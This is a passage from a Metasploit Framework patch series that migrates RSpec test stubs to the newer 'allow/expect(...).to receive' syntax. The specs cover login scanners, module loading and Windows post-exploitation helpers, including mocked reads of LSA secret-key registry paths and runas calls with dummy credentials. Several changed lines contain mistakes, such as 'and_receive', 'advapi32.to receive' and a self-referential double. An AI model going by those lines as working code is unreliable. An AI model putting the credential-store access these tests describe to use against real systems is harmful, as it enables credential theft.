'Msf::Simple::Framework::ModulePaths' do end it 'should add Msf::Config.user_module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( + expect(framework.modules).to receive(:add_module_path).with( user_module_directory, options ) @@ -86,7 +86,7 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do it 'should add each module path' do module_paths.each do |module_path| - framework.modules.should_receive(:add_module_path).with(module_path, options) + expect(framework.modules).to receive(:add_module_path).with(module_path, options) end init_module_paths From 2534b18f4cbdde9d10d4ec80d12247971e95e732 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 13:45:31 -0500 Subject: [PATCH 017/103] .stub -> expect().to receive MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 3 +- .../framework/credential_collection_spec.rb | 10 +- .../framework/login_scanner/glassfish_spec.rb | 6 +- .../framework/login_scanner/pop3_spec.rb | 12 ++- .../framework/login_scanner/smb_spec.rb | 10 +- spec/lib/msf/core/data_store_spec.rb | 10 +- spec/lib/msf/core/exploit/http/server_spec.rb | 8 +- .../remote/browser_exploit_server_spec.rb | 2 +- .../remote/firefox_addon_generator_spec.rb | 12 +-- spec/lib/msf/core/modules/loader/base_spec.rb | 95 ++++++++++--------- .../msf/core/modules/loader/directory_spec.rb | 12 +-- spec/lib/msf/core/modules/namespace_spec.rb | 4 +- spec/lib/msf/core/option_container_spec.rb | 17 ++-- spec/lib/msf/core/post/windows/mssql_spec.rb | 6 +- spec/lib/msf/core/post/windows/priv_spec.rb | 10 +- spec/lib/msf/core/post/windows/runas_spec.rb | 14 +-- .../console/command_dispatcher/core_spec.rb | 2 +- spec/lib/rex/parser/winscp_spec.rb | 4 +- .../post/meterpreter/packet_parser_spec.rb | 2 +- spec/lib/rex/proto/http/client_spec.rb | 10 +- spec/lib/rex/proto/pjl/client_spec.rb | 32 +++---- spec/lib/rex/socket_spec.rb | 4 +- spec/lib/rex/sslscan/result_spec.rb | 2 +- spec/lib/rex/sslscan/scanner_spec.rb | 2 +- spec/msfupdate_spec.rb | 8 +- .../support/shared/contexts/msf/db_manager.rb | 2 +- spec/support/shared/contexts/msf/ui_driver.rb | 8 +- .../import/metasploit_framework/xml.rb | 4 +- .../examples/msf/db_manager/migration.rb | 6 +- .../examples/msf/db_manager/module_cache.rb | 14 +-- .../shared/examples/msf/db_manager/session.rb | 12 +-- .../update_all_module_details_refresh.rb | 2 +- .../shared/examples/msf/module/search.rb | 15 +-- .../examples/msf/module_manager/cache.rb | 10 +- .../examples/msf/module_manager/loading.rb | 2 +- .../msf/simple/framework/module_paths.rb | 2 +- spec/tools/md5_lookup_spec.rb | 2 +- spec/tools/virustotal_spec.rb | 26 ++--- 38 files changed, 205 insertions(+), 197 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 822b944d35..d63212bd98 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -79,8 +79,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should yield #connection' do - connection = double('Connection') - connection_pool.stub(:connection => connection) + connection = double('Connection', connection: connection) expect { |block| connection_pool.with_connection(&block) diff --git a/spec/lib/metasploit/framework/credential_collection_spec.rb b/spec/lib/metasploit/framework/credential_collection_spec.rb index 165d35d59f..247060845e 100644 --- a/spec/lib/metasploit/framework/credential_collection_spec.rb +++ b/spec/lib/metasploit/framework/credential_collection_spec.rb @@ -33,7 +33,7 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:user_file) do filename = "foo" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_yield stub_file + allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file filename end @@ -51,7 +51,7 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:pass_file) do filename = "foo" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_return stub_file + allow(File).to receive(:open).with(filename,/^r/).and_return stub_file filename end @@ -71,7 +71,7 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:userpass_file) do filename = "foo" stub_file = StringIO.new("asdf jkl\nfoo bar\n") - File.stub(:open).with(filename,/^r/).and_yield stub_file + allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file filename end @@ -90,14 +90,14 @@ RSpec.describe Metasploit::Framework::CredentialCollection do let(:user_file) do filename = "user_file" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_yield stub_file + allow(File).to receive(:open).with(filename,/^r/).and_yield stub_file filename end let(:pass_file) do filename = "pass_file" stub_file = StringIO.new("asdf\njkl\n") - File.stub(:open).with(filename,/^r/).and_return stub_file + allow(File).to receive(:open).with(filename,/^r/).and_return stub_file filename end diff --git a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb index 26250d25c0..94a5693656 100644 --- a/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/glassfish_spec.rb @@ -87,13 +87,15 @@ RSpec.describe Metasploit::Framework::LoginScanner::Glassfish do context '#is_secure_admin_disabled?' do it 'returns true when Secure Admin is disabled' do res = Rex::Proto::Http::Response.new(res_code) - res.stub(:body).and_return('Secure Admin must be enabled') + allow(res).to receive(:body).and_return('Secure Admin must be enabled') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_truthy end it 'returns false when Secure Admin is enabled' do res = Rex::Proto::Http::Response.new(res_code) - res.stub(:body).and_return('') + allow(res).to receive(:body).and_return('') + expect(http_scanner.is_secure_admin_disabled?(res)).to be_falsey end end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index a2f72f946c..b652bd33d6 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -47,11 +47,13 @@ RSpec.describe Metasploit::Framework::LoginScanner::POP3 do let(:sock) {double('socket')} before(:each) do - sock.stub(:shutdown) - sock.stub(:close) - sock.stub(:closed?) + allow(sock).to receive(:shutdown) + allow(sock).to receive(:close) + allow(sock).to receive(:closed?) + + allow(scanner).to receive(:sock).and_return(sock) + expect(scanner).to receive(:connect) - scanner.stub(:sock).and_return(sock) expect(scanner).to receive(:select).with([sock],nil,nil,0.4) end @@ -68,7 +70,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::POP3 do end it "Server Returns Something Else" do - sock.stub(:get_once).and_return("+ERROR") + allow(sock).to receive(:get_once).and_return("+ERROR") result = scanner.attempt_login(pub_blank) diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index 67327c6ad1..f028463db5 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -121,9 +121,9 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context 'and the user is local admin' do before(:each) do login_scanner.simple = double - login_scanner.simple.stub(:connect).with(/.*admin\$/i) - login_scanner.simple.stub(:connect).with(/.*ipc\$/i) - login_scanner.simple.stub(:disconnect) + allow(login_scanner.simple).to receive(:connect).with(/.*admin\$/i) + allow(login_scanner.simple).to receive(:connect).with(/.*ipc\$/i) + allow(login_scanner.simple).to receive(:disconnect) end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do @@ -137,11 +137,11 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do context 'and the user is NOT local admin' do before(:each) do login_scanner.simple = double - login_scanner.simple.stub(:connect).with(/.*admin\$/i).and_raise( + allow(login_scanner.simple).to receive(:connect).with(/.*admin\$/i).and_raise( # STATUS_ACCESS_DENIED Rex::Proto::SMB::Exceptions::ErrorCode.new.tap{|e|e.error_code = 0xC0000022} ) - login_scanner.simple.stub(:connect).with(/.*ipc\$/i) + allow(login_scanner.simple).to receive(:connect).with(/.*ipc\$/i) end it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index da0d744d25..587d057c28 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -66,12 +66,14 @@ RSpec.describe Msf::DataStore do describe "#from_file" do subject do - ini_instance = double - ini_instance.stub(:group?).and_return(true) - ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) + ini_instance = double group?: true, + :[] => { + "foo" => "bar", + "fizz" => "buzz" + } ini = stub_const("Rex::Parser::Ini", Class.new) - ini.stub(:from_file).and_return(ini_instance) + allow(ini).to receive(:from_file).and_return(ini_instance) s = described_class.new s.from_file("path") diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 14b1799bb0..b07b5f876a 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -16,15 +16,15 @@ RSpec.describe Msf::Exploit::Remote::HttpServer do end let(:mock_service) do - mock_service = double("service") - mock_service.stub(:server_name=) - mock_service.stub(:add_resource) + mock_service = double 'service', + add_resource: nil, + :'server_name' => nil mock_service end before do - Rex::ServiceManager.stub(:start => mock_service) + allow(Rex::ServiceManager).to receive(:start).and_return(mock_service) end # Ensure the class is hooks Metasploit::Concern diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 92b672f17e..9c941d6fe8 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -109,7 +109,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do end before do - Rex::ServiceManager.stub(:start => service_double) + allow(Rex::ServiceManager).to receive(:start).and_return(service_double) end before(:each) do diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index d3be110685..ed2c53a18d 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -13,13 +13,11 @@ RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do mod.extend described_class mod.extend Msf::Exploit::Remote::BrowserExploitServer mod.send(:initialize, {}) - mod.stub( - :payload => payload, - :regenerate_payload => payload, - :framework => framework, - :datastore => datastore - ) - mod + + allow(mod).to receive(:datastore).and_return(datastore) + allow(mod).to receive(:framework).and_return(framework) + allow(mod).to receive(:payload).and_return(payload) + allow(mod).to receive(:regenerate_payload).and_return(payload) end describe '#generate_addon_xpi' do diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0288c9d73c..a97c508f68 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -255,7 +255,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - subject.stub(:module_path => module_path) + allow(subject).to receive(:module_path).and_return(module_path) end it 'should call file_changed? with the module_path' do @@ -266,7 +266,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without file changed' do before(:each) do - module_manager.stub(:file_changed? => false) + allow(module_manager).to receive(:file_changed?).and_return(false) end it 'should return false if :force is false' do @@ -318,16 +318,16 @@ RSpec.describe Msf::Modules::Loader::Base do @original_namespace_module = Msf::Modules::Mod617578696c696172792f72737065632f6d6f636b - module_manager.stub(:delete).with(module_reference_name) - module_manager.stub(:file_changed?).with(module_path).and_return(true) - module_set = double('Module Set') - module_set.stub(:delete).with(module_reference_name) - module_manager.stub(:module_set).with(type).and_return(module_set) + allow(module_set).to receive(:delete).with(module_reference_name) + + allow(module_manager).to receive(:delete).with(module_reference_name) + allow(module_manager).to receive(:file_changed?).with(module_path).and_return(true) + allow(module_manager).to receive(:module_set).with(type).and_return(module_set) end it 'should call #namespace_module_transaction with the module full name and :reload => true' do - subject.stub(:read_module_content => module_content) + allow(subject).to receive(:read_module_content).and_return(module_content) expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) @@ -335,24 +335,26 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - module_manager.stub(:on_module_load) + allow(module_manager).to receive(:on_module_load) - subject.stub(:read_module_content => module_content) + allow(subject).to receive(:read_module_content).and_receive(module_content) subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(namespace_module.parent_path).to eq parent_path end it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - module_manager.stub(:on_module_load) + allow(module_manager).to receive(:on_module_load) expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - subject.stub(:read_module_content => malformed_module_content) - module_manager.stub(:on_module_load) + allow(subject).to receive(:read_module_content).and_return(malformed_module_content) + allow(module_manager).to receive(:on_module_load) # if the module eval error includes the module_path then the module_path was passed along correctly expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/) @@ -361,7 +363,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with empty module content' do before(:each) do - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return('') + allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return('') end it 'should return false' do @@ -376,17 +378,16 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with errors from namespace_module_eval_with_lexical_scope' do before(:each) do - @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) + @namespace_module = double('Namespace Module', :'parent_path=' => nil) + module_content = double('Module Content', empty?: false) - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) - module_content = double('Module Content', :empty? => false) - subject.stub(:read_module_content).and_return(module_content) + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + allow(subject).to receive(:read_module_content).and_return(module_content) end context 'with Interrupt' do it 'should re-raise' do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(Interrupt) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(Interrupt) expect { subject.load_module(parent_path, type, module_reference_name) @@ -415,17 +416,17 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub(:module_eval_with_lexical_scope).and_raise(error) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - error.stub(:backtrace => backtrace) + expect(error).to receive(:backtrace).and_return(backtrace) end context 'with version compatibility' do before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) end it 'should record the load error using the original error' do @@ -449,7 +450,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub( + allow(@namespace_module).to receive( :version_compatible! ).with( module_path, @@ -466,7 +467,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) subject.load_module(parent_path, type, module_reference_name).should be_falsey end @@ -476,22 +477,22 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without module_eval errors' do before(:each) do @namespace_module = double('Namespace Module') - @namespace_module.stub(:parent_path=) - @namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path) + expect(@namespace_module).to receive(:parent_path=) + expect(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) metasploit_class = double('Metasploit Class', :parent => @namespace_module) - @namespace_module.stub(:metasploit_class! => metasploit_class) + expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) - subject.stub(:namespace_module_transaction).and_yield(@namespace_module) + expect(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - subject.stub(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) + expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) @module_load_error_by_path = {} - module_manager.stub(:module_load_error_by_path => @module_load_error_by_path) + expect(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) end it 'should check for version compatibility' do - module_manager.stub(:on_module_load) + expect(module_manager).to receive(:on_module_load) expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) subject.load_module(parent_path, type, module_reference_name) @@ -512,7 +513,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub( + allow(@namespace_module).to receive( :version_compatible! ).with( module_path, @@ -538,9 +539,9 @@ RSpec.describe Msf::Modules::Loader::Base do context 'with version compatibility' do before(:each) do - @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) + expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) - module_manager.stub(:on_module_load) + expect(module_manager).to receive(:on_module_load) end context 'without metasploit_class' do @@ -552,7 +553,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) + expect(@namespace_module).to receive(:metasploit_class!).with(module_path, module_reference_name).and_raise(error) end it 'should record load error' do @@ -582,7 +583,7 @@ RSpec.describe Msf::Modules::Loader::Base do end before(:each) do - @namespace_module.stub(:metasploit_class! => metasploit_class) + expect(@namespace_module).to receive(:metasploit_class!).and_return(metasploit_class) end it 'should check if it is usable' do @@ -592,7 +593,7 @@ RSpec.describe Msf::Modules::Loader::Base do context 'without usable metasploit_class' do before(:each) do - subject.stub(:usable? => false) + expect(subject).to receive(:usable?).and_return(false) end it 'should log information' do @@ -734,8 +735,8 @@ RSpec.describe Msf::Modules::Loader::Base do ) namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) + expect(namespace_module).to receive(:loader=) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -750,8 +751,8 @@ RSpec.describe Msf::Modules::Loader::Base do ) namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) + expect(namespace_module).to receive(:loader=) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -766,8 +767,8 @@ RSpec.describe Msf::Modules::Loader::Base do ) namespace_module = double('Namespace Module') - namespace_module.stub(:loader=) - subject.stub(:current_module => namespace_module) + expect(namespace_module).to receive(:loader=) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -777,7 +778,7 @@ RSpec.describe Msf::Modules::Loader::Base do expect(namespace_module).to receive(:loader=).with(subject) - subject.stub(:current_module => namespace_module) + expect(subject).to receive(:current_module).and_return(namespace_module) subject.send(:create_namespace_module, namespace_module_names) end @@ -1352,7 +1353,7 @@ RSpec.describe Msf::Modules::Loader::Base do let(:metasploit_class) do metasploit_class = double('Metasploit Class') - metasploit_class.stub(:is_usable).and_raise(error) + expect(metasploit_class).to receive(:is_usable).and_raise(error) metasploit_class end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index e87d7929fb..6c243a5949 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -33,9 +33,9 @@ RSpec.describe Msf::Modules::Loader::Directory do framework = double('Msf::Framework', :datastore => {}) events = double('Events') - events.stub(:on_module_load) - events.stub(:on_module_created) - framework.stub(:events => events) + expect(events).to receive(:on_module_load) + expect(events).to receive(:on_module_created) + expect(framework).to receive(:events).and_return(events) framework end @@ -107,8 +107,8 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - module_manager.stub(:file_changed? => true) - module_manager.stub(:module_load_error_by_path => {}) + expect(module_manager).to receive(:file_changed?).and_return(true) + expect(module_manager).to receive(:module_load_error_by_path).and_return({}) end it 'should not raise an error' do @@ -134,7 +134,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end before(:each) do - subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) + expect(subject).to receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) end # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 39f370b828..177edb0270 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -129,7 +129,7 @@ RSpec.describe Msf::Modules::Namespace do end before(:each) do - subject.stub(:metasploit_class => metasploit_class) + allow(subject).to receive(:metasploit_class).and_return(metasploit_class) end it 'should return the metasploit_class' do @@ -139,7 +139,7 @@ RSpec.describe Msf::Modules::Namespace do context 'without metasploit_class' do before(:each) do - subject.stub(:metasploit_class => nil) + allow(subject).to receive(:metasploit_class) end it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 46b14c0965..708a00ed31 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -5,15 +5,16 @@ require 'msf/core/option_container' RSpec.describe Msf::OptionContainer do it "should create new options for it's args" do - foo_inst = double("foo_inst") - foo_inst.stub(:advanced=) - foo_inst.stub(:evasion=) - foo_inst.stub(:owner=) + foo_inst = double( + "foo_inst", + :'advanced=' => nil, + :'evasion=' => nil, + :'owner=' => nil + ) - foo_class = double("opt_class") - expect(foo_class).to receive(:new).and_return(foo_inst) - - expect(foo_inst).to receive(:name).and_return("thing") + foo_class = double 'opt_class', + name: 'thing', + new: foo_inst subject = described_class.new({ 'thing' => [ foo_class, true, nil, false ] diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index b8f8d1174a..a51cb84905 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -8,8 +8,8 @@ RSpec.describe Msf::Post::Windows::MSSQL do mod = Module.new mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ] - stubs.each { |meth| mod.stub(meth) } - mod.stub(:service_info).and_return({}) + stubs.each { |meth| expect(mod).to receive(meth) } + expect(mod).to receive(:service_info).and_return({}) mod end @@ -361,7 +361,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return a string' do p = double('process') c = double('channel') - p.stub(:channel).and_return(c) + expect(p).to receive(:channel).and_return(c) subject.stub_chain('session.sys.process.execute').and_return(p) expect(c).to receive(:read).and_return('hello') expect(c).to receive(:read).and_return(nil) diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 4c82ec3604..127da96a7e 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -9,7 +9,7 @@ RSpec.describe Msf::Post::Windows::Priv do mod = Module.new mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, ] - stubs.each { |meth| mod.stub(meth) } + stubs.each { |meth| expect(mod).to receive(meth) } mod end @@ -99,8 +99,8 @@ RSpec.describe Msf::Post::Windows::Priv do let(:boot_key) { boot_key_xp } it "should produce expected LSA key" do - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) subject.capture_lsa_key(boot_key_xp) end end @@ -110,8 +110,8 @@ RSpec.describe Msf::Post::Windows::Priv do let(:boot_key) { boot_key_vista } it "should produce expected LSA key" do - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(nil) - subject.stub(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(pol_enc_key_vista) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(nil) + expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(pol_enc_key_vista) subject.capture_lsa_key(boot_key) end end diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 7a6bdf32eb..bbcf9ac95e 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -14,15 +14,15 @@ RSpec.describe Msf::Post::Windows::Runas do let(:advapi32) do advapi32 = double('advapi32') - advapi32.stub(:CreateProcessWithLogonW).and_return({ + expect(advapi32).to receive(:CreateProcessWithLogonW).and_return({ 'return' => true, 'lpProcessInformation' => process_info }) - advapi32.stub(:CreateProcessAsUserA).and_return ({ + expect(advapi32).to receive(:CreateProcessAsUserA).and_return ({ 'return' => true, 'lpProcessInformation' => process_info }) - advapi32.stub(:LogonUserA).and_return ({ + expect(advapi32).to receive(:LogonUserA).and_return ({ 'return' => true, 'phToken' => phToken }) @@ -37,7 +37,7 @@ RSpec.describe Msf::Post::Windows::Runas do mod = Module.new mod.extend described_class stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error ] - stubs.each { |meth| mod.stub(meth) } + stubs.each { |meth| expect(mod).to receive(meth) } mod.stub_chain("session.railgun.kernel32").and_return(kernel32) mod.stub_chain("session.railgun.advapi32").and_return(advapi32) mod @@ -55,7 +55,7 @@ RSpec.describe Msf::Post::Windows::Runas do it "should return a nil on failure" do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) - advapi32.stub(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + advapi32.to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil end end @@ -78,7 +78,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.stub(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + advapi32.to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil end @@ -88,7 +88,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(phToken) expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) - advapi32.stub(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') + advapi32.to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index f115ff49b9..fc63a22569 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -68,7 +68,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do let(:printed_table) do table = '' - core.stub(:print_line) do |string| + expect(core).to receive(:print_line) do |string| table = string end diff --git a/spec/lib/rex/parser/winscp_spec.rb b/spec/lib/rex/parser/winscp_spec.rb index 3546f11c5c..7aff5ed1b6 100644 --- a/spec/lib/rex/parser/winscp_spec.rb +++ b/spec/lib/rex/parser/winscp_spec.rb @@ -85,12 +85,12 @@ RSpec.describe Rex::Parser::WinSCP do context "#read_and_parse_ini" do it "returns nil if file is empty or doesn't exist" do - File.stub(:read).and_return(nil) + expect(File).to receive(:read).and_return(nil) expect(target.read_and_parse_ini('blah')).to be nil end it "parses the example ini and return a single result" do - File.stub(:read).and_return(SAMPLE_INI) + expect(File).to receive(:read).and_return(SAMPLE_INI) expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1 end end diff --git a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb index 9eb5918f6b..863136727d 100644 --- a/spec/lib/rex/post/meterpreter/packet_parser_spec.rb +++ b/spec/lib/rex/post/meterpreter/packet_parser_spec.rb @@ -13,7 +13,7 @@ RSpec.describe Rex::Post::Meterpreter::PacketParser do "test_method") 